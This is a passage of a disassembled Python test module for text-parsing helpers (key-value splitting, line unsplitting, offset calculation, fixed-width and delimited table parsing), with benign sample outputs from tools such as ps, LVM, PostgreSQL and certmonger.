value2a=True, value2b=100M\n\n @ Comment indented\n keyword3 @ Key with no separator\n' LOAD_METHOD strip CALL_METHOD STORE_NAME SPLIT_TEST_2 LOAD_CONST '\n data 1 line\ndata 2 line\n' LOAD_METHOD strip CALL_METHOD STORE_NAME OFFSET_CONTENT_1 LOAD_CONST '\nWarning line\nError line\n data 1 line\n data 2 line\nTrailing line\n\nBlank line above\nAnother trailing line\n Yet another trailing line\n Yet yet another trailing line\n' LOAD_METHOD strip CALL_METHOD STORE_NAME OFFSET_CONTENT_2 LOAD_CONST <code object test_split_kv_pairs at 0x7fab641f2db0, file "f.py", line 62> LOAD_CONST 'test_split_kv_pairs' MAKE_FUNCTION STORE_NAME test_split_kv_pairs LOAD_CONST '\nLine one\nLine two part 1 \\\n line two part 2\\\n line two part 3\nLine three\n' LOAD_METHOD strip CALL_METHOD STORE_NAME SPLIT_LINES LOAD_CONST '\nLine one\nLine two part 1 ^\n line two part 2^\n line two part 3\nLine three^\n' LOAD_METHOD strip CALL_METHOD STORE_NAME SPLIT_LINES_2 LOAD_CONST '\nweb.default_taskmaster_tasks = RHN::Task::SessionCleanup, RHN::Task::ErrataQueue,\n RHN::Task::ErrataEngine,\n RHN::Task::DailySummary, RHN::Task::SummaryPopulation,\n RHN::Task::RHNProc,\n RHN::Task::PackageCleanup\n\ndb_host =' STORE_NAME SPLIT_LINES_3 LOAD_CONST <code object test_unsplit_lines at 0x7fab641f2e40, file "f.py", line 133> LOAD_CONST 'test_unsplit_lines' MAKE_FUNCTION STORE_NAME test_unsplit_lines LOAD_CONST <code object test_calc_offset at 0x7fab641f2c00, file "f.py", line 163> LOAD_CONST 'test_calc_offset' MAKE_FUNCTION STORE_NAME test_calc_offset LOAD_CONST '\nColumn1 Column2 Column3\ndata1 data 2 data 3\n data4 data5 data6\ndata 7 data 9\n' LOAD_METHOD strip CALL_METHOD STORE_NAME FIXED_CONTENT_1 LOAD_CONST '\n WARNING\n Column1 Column2 Column3\n data1 data 2 data 3\n data4 data5 data6\n data 7 data 9\n' LOAD_METHOD strip CALL_METHOD STORE_NAME FIXED_CONTENT_1A LOAD_CONST '\nColumn1 Column2 Column3\ndata1 data 2\ndata4 data5 data6\n data 7 data 9\n' LOAD_METHOD strip CALL_METHOD STORE_NAME FIXED_CONTENT_1B LOAD_CONST '\nWARNING WARNING WARNING\n Some message\nAnother message\nColumn1 Column2 Column3\ndata1 data 2 data 3\n data4 data5 data6\ndata 7 data 9\n' LOAD_METHOD strip CALL_METHOD STORE_NAME FIXED_CONTENT_2 LOAD_CONST '\nWARNING WARNING WARNING\n Some message\nAnother message\nColumn1 Column2 Column3\ndata1 data 2 data 3\n data4 data5 data6\ndata 7 data 9\nTrailing non-data line\n Another trailing non-data line\n' LOAD_METHOD strip CALL_METHOD STORE_NAME FIXED_CONTENT_3 LOAD_CONST '\nWARNING WARNING WARNING\n Some message\nAnother message\nColumn1 Column 2 Column 3\ndata1 data 2 data 3\n data4 data5 data6\ndata 7 data 9\ndata10\nTrailing non-data line\n Another trailing non-data line\n' LOAD_METHOD strip CALL_METHOD STORE_NAME FIXED_CONTENT_4 LOAD_CONST '\nColumn1 Column 2 Column 3\n\ndata1 data 2 data 3\n\ndata 7 data 9\n\ndata10\n' LOAD_METHOD strip CALL_METHOD STORE_NAME FIXED_CONTENT_5 LOAD_CONST '\nNAMESPACE NAME LABELS\ndefault foo app=superawesome\n' LOAD_METHOD strip CALL_METHOD STORE_NAME FIXED_CONTENT_DUP_HEADER_PREFIXES LOAD_CONST <code object test_parse_fixed_table at 0x7fab641f2420, file "f.py", line 290> LOAD_CONST 'test_parse_fixed_table' MAKE_FUNCTION STORE_NAME test_parse_fixed_table LOAD_CONST <code object test_parse_fixed_table_empty_exception at 0x7fab641f2d20, file "f.py", line 369> LOAD_CONST 'test_parse_fixed_table_empty_exception' MAKE_FUNCTION STORE_NAME test_parse_fixed_table_empty_exception LOAD_CONST <code object test_optlist_standard at 0x7fab641f2930, file "f.py", line 375> LOAD_CONST 'test_optlist_standard' MAKE_FUNCTION STORE_NAME test_optlist_standard LOAD_CONST <code object test_optlist_no_vals at 0x7fab641f25d0, file "f.py", line 383> LOAD_CONST 'test_optlist_no_vals' MAKE_FUNCTION STORE_NAME test_optlist_no_vals LOAD_CONST <code object test_optlist_strip_quotes at 0x7fab641f2c90, file "f.py", line 392> LOAD_CONST 'test_optlist_strip_quotes' MAKE_FUNCTION STORE_NAME test_optlist_strip_quotes LOAD_CONST <code object test_optlist_with_spaces at 0x7fab641f2150, file "f.py", line 404> LOAD_CONST 'test_optlist_with_spaces' MAKE_FUNCTION STORE_NAME test_optlist_with_spaces LOAD_CONST '\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 19356 1544 ? Ss May31 0:01 /sbin/init\nroot 1821 0.0 0.0 0 0 ? S May31 0:25 [kondemand/0]\nroot 1864 0.0 0.0 18244 668 ? Ss May31 0:05 irqbalance --pid=/var/run/irqbalance.pid\nuser1 20160 0.0 0.0 108472 1896 pts/3 Ss 10:09 0:00 bash\nroot 20357 0.0 0.0 9120 760 ? Ss 10:09 0:00 /sbin/dhclient -1 -q -lf /var/lib/dhclient/dhclient-extbr0.leases -pf /var/run/dhclient-extbr0.pid extbr0\nqemu 22673 0.8 10.2 1618556 805636 ? Sl 11:38 1:07 /usr/libexec/qemu-kvm -name rhel7 -S -M rhel6.5.0 -enable-kvm -m 1024 -smp 2,sockets=2,cores=1,threads=1 -uuid 13798ffc-bc1e-d437-4f3f-2e0fa6c923ad\n' STORE_NAME PS_AUX_TEST LOAD_CONST '\n WARNING: Locking disabled. Be careful! This could corrupt your metadata.\nLVM2_PV_FMT|LVM2_PV_UUID|LVM2_DEV_SIZE|LVM2_PV_NAME|LVM2_PV_MAJOR|LVM2_PV_MINOR|LVM2_PV_MDA_FREE|LVM2_PV_MDA_SIZE|LVM2_PV_EXT_VSN|LVM2_PE_START|LVM2_PV_SIZE|LVM2_PV_FREE|LVM2_PV_USED|LVM2_PV_ATTR|LVM2_PV_ALLOCATABLE|LVM2_PV_EXPORTED|LVM2_PV_MISSING|LVM2_PV_PE_COUNT|LVM2_PV_PE_ALLOC_COUNT|LVM2_PV_TAGS|LVM2_PV_MDA_COUNT|LVM2_PV_MDA_USED_COUNT|LVM2_PV_BA_START|LVM2_PV_BA_SIZE|LVM2_PV_IN_USE|LVM2_PV_DUPLICATE|LVM2_VG_NAME\n WARNING: Locking disabled. Be careful! This could corrupt your metadata.\n' STORE_NAME MISSING_DATA_TEST LOAD_CONST '\naddress,port,state,read-only\n0.0.0.0,3000,LISTEN,N\n10.76.19.184,37500,ESTAB,Y\n' LOAD_METHOD strip CALL_METHOD STORE_NAME SUBSTITUTE_HEADERS_TEST LOAD_CONST '\n schema | table | rows\n public | rhnsnapshotpackage | 47428950\n public | rhnpackagefile | 32174333\n public | rhnpackagecapability | 12934215\n public | rhnpackagechangelogrec | 11269933\n public | rhnchecksum | 10129746\n public | rhnactionconfigrevision | 2894957\n public | rhnpackageprovides | 2712442\n public | rhnpackagerequires | 2532861\n public | rhn_command_target | 1009152\n public | rhnconfigfilename | 0\n public | rhnxccdfidentsystem | 0\n public | rhndistchannelmap | 0\n public | rhnactionvirtshutdown | 0\n public | rhnpublicchannelfamily | 0\n (402 rows)\n' LOAD_METHOD strip CALL_METHOD STORE_NAME POSTGRESQL_LOG LOAD_CONST '\nTHIS IS A HEADER\n this is some content_with_blank_prefix\nThis is more content\n' LOAD_METHOD strip CALL_METHOD STORE_NAME TABLE1 LOAD_CONST 'SID Nr Instance SAPLOCALHOST Version DIR_EXECUTABLE' LOAD_CONST 'HA2| 16| D16| lu0417|749, patch 10, changelist 1698137| /usr/sap/HA2/D16/exe' LOAD_CONST 'HA2| 22| D22| lu0417|749, patch 10, changelist 1698137| /usr/sap/HA2/D22/exe' BUILD_LIST STORE_NAME TABLE2 LOAD_CONST '\nTHIS | IS | A | HEADER\nthis ^ is ^ some ^ content\nThis ^ is ^ more ^ content\n' LOAD_METHOD strip CALL_METHOD STORE_NAME TABLE3 LOAD_CONST <code object test_parse_delimited_table at 0x7fab641f2b70, file "f.py", line 470> LOAD_CONST 'test_parse_delimited_table' MAKE_FUNCTION STORE_NAME test_parse_delimited_table LOAD_CONST 'test 1' LOAD_CONST 'server' LOAD_CONST 16 LOAD_CONST True LOAD_CONST ('name', 'role', 'memory_gb', 'ssd') BUILD_CONST_KEY_MAP LOAD_CONST 'test 2' LOAD_CONST 'server' LOAD_CONST 256 LOAD_CONST False LOAD_CONST ('name', 'role', 'memory_gb', 'ssd') BUILD_CONST_KEY_MAP LOAD_CONST 'test 3' LOAD_CONST 'server' LOAD_CONST 16 LOAD_CONST False LOAD_CONST ('name', 'role', 'memory_gb', 'ssd') BUILD_CONST_KEY_MAP LOAD_CONST 'test 4' LOAD_CONST 'embedded' LOAD_CONST 1 LOAD_CONST False LOAD_CONST ('name', 'role', 'memory_gb', 'ssd') BUILD_CONST_KEY_MAP LOAD_CONST 'test 5' LOAD_CONST 'workstation' LOAD_CONST 16 LOAD_CONST True LOAD_CONST ('name', 'role', 'memory_gb', 'ssd') BUILD_CONST_KEY_MAP BUILD_LIST STORE_NAME DATA_LIST LOAD_CONST 'MONITORING' LOAD_CONST 'no' LOAD_CONST "type=NSSDB,location='/etc/dirsrv/slapd-LDAP-EXAMPLE-COM',nickname='Server-Cert',token='NSS Certificate DB',pinfile='/etc/dirsrv/slapd-LDAP-EXAMPLE-COM/pwdfile.txt'" LOAD_CONST 'NSSDB' LOAD_CONST '/etc/dirsrv/slapd-LDAP-EXAMPLE-COM' LOAD_CONST 'Server-Cert' LOAD_CONST 'NSS Certificate DB' LOAD_CONST ('type', 'location', 'nickname', 'token') BUILD_CONST_KEY_MAP LOAD_CONST 'IPA' LOAD_CONST 'CN=Certificate Authority,O=LDAP.EXAMPLE.COM' LOAD_CONST 'CN=master.LDAP.EXAMPLE.COM,O=LDAP.EXAMPLE.COM' LOAD_CONST '2017-06-28 12:52:12 UTC' LOAD_CONST 'id-kp-serverAuth,id-kp-clientAuth' LOAD_CONST '' LOAD_CONST '/usr/lib64/ipa/certmonger/restart_dirsrv LDAP-EXAMPLE-COM' LOAD_CONST 'yes' LOAD_CONST 'yes' LOAD_CONST ('status', 'stuck', 'key pair storage', 'certificate', 'CA', 'issuer', 'subject', 'expires', 'eku', 'pre-save command', 'post-save command', 'track', 'auto-renew') BUILD_CONST_KEY_MAP LOAD_CONST 'MONITORING' LOAD_CONST 'no' LOAD_CONST "type=NSSDB,location='/etc/dirsrv/slapd-PKI-IPA',nickname='Server-Cert',token='NSS Certificate DB',pinfile='/etc/dirsrv/slapd-PKI-IPA/pwdfile.txt'" LOAD_CONST 'NSSDB' LOAD_CONST '/etc/dirsrv/slapd-PKI-IPA' LOAD_CONST 'Server-Cert' LOAD_CONST 'NSS Certificate DB' LOAD_CONST ('type', 'location', 'nickname', 'token') BUILD_CONST_KEY_MAP LOAD_CONST 'IPA' LOAD_CONST 'CN=Certificate Authority,O=EXAMPLE.COM' LOAD_CONST 'CN=ldap.EXAMPLE.COM,O=EXAMPLE.COM' LOAD_CONST '2017-06-28 12:52:13 UTC' LOAD_CONST 'id-kp-serverAuth,id-kp-clientAuth' LOAD_CONST '' LOAD_CONST '/usr/lib64/ipa/certmonger/restart_dirsrv PKI-IPA' LOAD_CONST 'yes' LOAD_CONST 'yes' LOAD_CONST 'tested' LOAD_CONST ('status', 'stuck', 'key pair storage', 'certificate', 'CA', 'issuer', 'subject', 'expires', 'eku', 'pre-save command', 'post-save command', 'track', 'auto-renew', 'dash- space') BUILD_CONST_KEY_MAP BUILD_LIST STORE_NAME CERT_LIST LOAD_CONST <code object test_keyword_search at 0x7fab641f28a0, file "f.py", line 631> LOAD_CONST 'test_keyword_search' MAKE_FUNCTION STORE_NAME test_keyword_search LOAD_CONST '692' LOAD_CONST '2' LOAD_CONST 'kdmflush' LOAD_CONST ' 692 2 kdmflush' LOAD_CONST ('PID', 'PPID', 'COMMAND', '_line') BUILD_CONST_KEY_MAP LOAD_CONST '701' LOAD_CONST '2' LOAD_CONST 'kdmflush' LOAD_CONST ' 701 2 kdmflush' LOAD_CONST ('PID', 'PPID', 'COMMAND', '_line') BUILD_CONST_KEY_MAP LOAD_CONST '725' LOAD_CONST '2' LOAD_CONST 'xfsalloc' LOAD_CONST ' 725 2 xfsalloc' LOAD_CONST ('PID', 'PPID', 'COMMAND', '_line') BUILD_CONST_KEY_MAP LOAD_CONST '726' LOAD_CONST '2' LOAD_CONST None LOAD_CONST ' 726 2 grep -F xx' LOAD_CONST ('PID', 'PPID', 'COMMAND', '_line') BUILD_CONST_KEY_MAP BUILD_LIST STORE_NAME PS_LIST LOAD_CONST <code object test_keyword_search_None at 0x7fab641f2030, file "f.py", line 697> LOAD_CONST 'test_keyword_search_None' MAKE_FUNCTION STORE_NAME test_keyword_search_None LOAD_CONST <code object test_parse_exception at 0x7fab641f2540, file "f.py", line 706> LOAD_CONST 'test_parse_exception' MAKE_FUNCTION STORE_NAME test_parse_exception LOAD_CONST <code object test_skip_exception at 0x7fab641f2270, file "f.py", line 712> LOAD_CONST 'test_skip_exception' MAKE_FUNCTION STORE_NAME test_skip_exception LOAD_CONST None RETURN_VALUE LOAD_GLOBAL split_kv_pairs LOAD_GLOBAL SPLIT_TEST_1 LOAD_METHOD splitlines CALL_METHOD CALL_FUNCTION STORE_FAST kv_pairs LOAD_GLOBAL len LOAD_FAST kv_pairs CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST kv_pairs LOAD_CONST 'value1' LOAD_CONST 'value2a=True, value2b=100M' LOAD_CONST ('keyword1', 'keyword2') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL split_kv_pairs LOAD_GLOBAL SPLIT_TEST_1 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'value2' LOAD_CONST ('filter_string',) CALL_FUNCTION STORE_FAST kv_pairs LOAD_GLOBAL len LOAD_FAST kv_pairs CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST kv_pairs LOAD_CONST 'keyword2' LOAD_CONST 'value2a=True, value2b=100M' BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL split_kv_pairs LOAD_GLOBAL SPLIT_TEST_1 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST True LOAD_CONST ('use_partition',) CALL_FUNCTION STORE_FAST kv_pairs LOAD_GLOBAL len LOAD_FAST kv_pairs CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST kv_pairs LOAD_CONST 'value1' LOAD_CONST 'value2a=True, value2b=100M' LOAD_CONST '' LOAD_CONST ('keyword1', 'keyword2', 'keyword3') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL split_kv_pairs LOAD_GLOBAL SPLIT_TEST_1 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST True LOAD_CONST True LOAD_CONST ('use_partition', 'ordered') CALL_FUNCTION STORE_FAST kv_pairs LOAD_GLOBAL len LOAD_FAST kv_pairs CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST kv_pairs LOAD_GLOBAL SPLIT_TEST_1_OD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL split_kv_pairs LOAD_GLOBAL SPLIT_TEST_2 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST '@' LOAD_CONST ':' LOAD_CONST ('comment_char', 'split_on') CALL_FUNCTION STORE_FAST kv_pairs LOAD_GLOBAL len LOAD_FAST kv_pairs CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST kv_pairs LOAD_CONST 'value1' LOAD_CONST 'value2a=True, value2b=100M' LOAD_CONST ('keyword1', 'keyword2') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL split_kv_pairs LOAD_GLOBAL SPLIT_TEST_2 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST '@' LOAD_CONST ':' LOAD_CONST 'value2' LOAD_CONST ('comment_char', 'split_on', 'filter_string') CALL_FUNCTION STORE_FAST kv_pairs LOAD_GLOBAL len LOAD_FAST kv_pairs CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST kv_pairs LOAD_CONST 'keyword2' LOAD_CONST 'value2a=True, value2b=100M' BUILD_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL split_kv_pairs LOAD_GLOBAL SPLIT_TEST_2 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST '@' LOAD_CONST ':' LOAD_CONST True LOAD_CONST ('comment_char', 'split_on', 'use_partition') CALL_FUNCTION STORE_FAST kv_pairs LOAD_GLOBAL len LOAD_FAST kv_pairs CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST kv_pairs LOAD_CONST 'value1' LOAD_CONST 'value2a=True, value2b=100M' LOAD_CONST '' LOAD_CONST ('keyword1', 'keyword2', 'keyword3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL list LOAD_GLOBAL unsplit_lines LOAD_GLOBAL SPLIT_LINES LOAD_METHOD splitlines CALL_METHOD CALL_FUNCTION CALL_FUNCTION STORE_FAST lines LOAD_GLOBAL len LOAD_FAST lines CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lines LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'Line one' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lines LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'Line two part 1 line two part 2 line two part 3' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lines LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 'Line three' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL list LOAD_GLOBAL unsplit_lines LOAD_GLOBAL SPLIT_LINES_2 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST '^' LOAD_CONST ('cont_char',) CALL_FUNCTION CALL_FUNCTION STORE_FAST lines LOAD_GLOBAL len LOAD_FAST lines CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lines LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'Line one' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lines LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'Line two part 1 line two part 2 line two part 3' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lines LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 'Line three' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL list LOAD_GLOBAL unsplit_lines LOAD_GLOBAL SPLIT_LINES_3 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST ',' LOAD_CONST True LOAD_CONST ('cont_char', 'keep_cont_char') CALL_FUNCTION CALL_FUNCTION STORE_FAST lines LOAD_GLOBAL len LOAD_FAST lines CALL_FUNCTION LOAD_CONST 4 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lines LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST '' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lines LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'web.default_taskmaster_tasks = RHN::Task::SessionCleanup, RHN::Task::ErrataQueue, RHN::Task::ErrataEngine, RHN::Task::DailySummary, RHN::Task::SummaryPopulation, RHN::Task::RHNProc, RHN::Task::PackageCleanup' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lines LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST '' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lines LOAD_CONST 3 BINARY_SUBSCR LOAD_CONST 'db_host =' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL calc_offset LOAD_GLOBAL OFFSET_CONTENT_1 LOAD_METHOD splitlines CALL_METHOD BUILD_LIST LOAD_CONST ('target',) CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL calc_offset LOAD_GLOBAL OFFSET_CONTENT_1 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST None BUILD_LIST LOAD_CONST ('target',) CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL calc_offset LOAD_GLOBAL OFFSET_CONTENT_1 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'data ' BUILD_LIST LOAD_CONST ('target',) CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 110 POP_TOP LOAD_GLOBAL calc_offset LOAD_GLOBAL OFFSET_CONTENT_1 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'xdata ' BUILD_LIST LOAD_CONST ('target',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 152 POP_TOP LOAD_GLOBAL calc_offset LOAD_GLOBAL OFFSET_CONTENT_1 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'data ' BUILD_LIST LOAD_CONST True LOAD_CONST ('target', 'invert_search') CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL calc_offset LOAD_GLOBAL OFFSET_CONTENT_1 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'Trailing' LOAD_CONST 'Blank' LOAD_CONST 'Another ' BUILD_LIST LOAD_CONST True LOAD_CONST ('target', 'invert_search') CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL calc_offset LOAD_GLOBAL OFFSET_CONTENT_2 LOAD_METHOD splitlines CALL_METHOD BUILD_LIST LOAD_CONST ('target',) CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL calc_offset LOAD_GLOBAL OFFSET_CONTENT_2 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'data ' BUILD_LIST LOAD_CONST ('target',) CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL calc_offset LOAD_GLOBAL reversed LOAD_GLOBAL OFFSET_CONTENT_2 LOAD_METHOD splitlines CALL_METHOD CALL_FUNCTION LOAD_CONST 'Trailing' LOAD_CONST 'Blank' LOAD_CONST 'Another ' LOAD_CONST 'Yet' BUILD_LIST LOAD_CONST True LOAD_CONST ('target', 'invert_search') CALL_FUNCTION LOAD_CONST 6 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL calc_offset LOAD_GLOBAL OFFSET_CONTENT_2 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'data' LOAD_CONST '2' BUILD_LIST LOAD_CONST ('target',) CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL calc_offset LOAD_GLOBAL OFFSET_CONTENT_2 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'data' LOAD_CONST '2' BUILD_LIST LOAD_CONST True LOAD_CONST ('target', 'require_all') CALL_FUNCTION LOAD_CONST 4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL calc_offset LOAD_GLOBAL reversed LOAD_GLOBAL OFFSET_CONTENT_2 LOAD_METHOD splitlines CALL_METHOD CALL_FUNCTION LOAD_CONST 'Trailing' LOAD_CONST 'Blank' LOAD_CONST 'Another ' LOAD_CONST 'Yet' BUILD_LIST LOAD_CONST True LOAD_CONST ('target', 'invert_search') CALL_FUNCTION LOAD_CONST 6 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL calc_offset LOAD_GLOBAL reversed LOAD_GLOBAL OFFSET_CONTENT_2 LOAD_METHOD splitlines CALL_METHOD CALL_FUNCTION LOAD_CONST 'Trailing' LOAD_CONST 'Blank' LOAD_CONST 'Another ' LOAD_CONST 'Yet' BUILD_LIST LOAD_CONST True LOAD_CONST True LOAD_CONST ('target', 'invert_search', 'require_all') CALL_FUNCTION LOAD_CONST 6 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL parse_fixed_table LOAD_GLOBAL FIXED_CONTENT_1 LOAD_METHOD splitlines CALL_METHOD CALL_FUNCTION STORE_FAST data LOAD_GLOBAL len LOAD_FAST data CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'data1' LOAD_CONST 'data 2' LOAD_CONST 'data 3' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'data4' LOAD_CONST 'data5' LOAD_CONST 'data6' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 'data 7' LOAD_CONST '' LOAD_CONST 'data 9' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_fixed_table LOAD_GLOBAL FIXED_CONTENT_1A LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'Column1 ' BUILD_LIST LOAD_CONST ('heading_ignore',) CALL_FUNCTION STORE_FAST data LOAD_GLOBAL len LOAD_FAST data CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'data1' LOAD_CONST 'data 2' LOAD_CONST 'data 3' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'data4' LOAD_CONST 'data5' LOAD_CONST 'data6' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 'data 7' LOAD_CONST '' LOAD_CONST 'data 9' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP 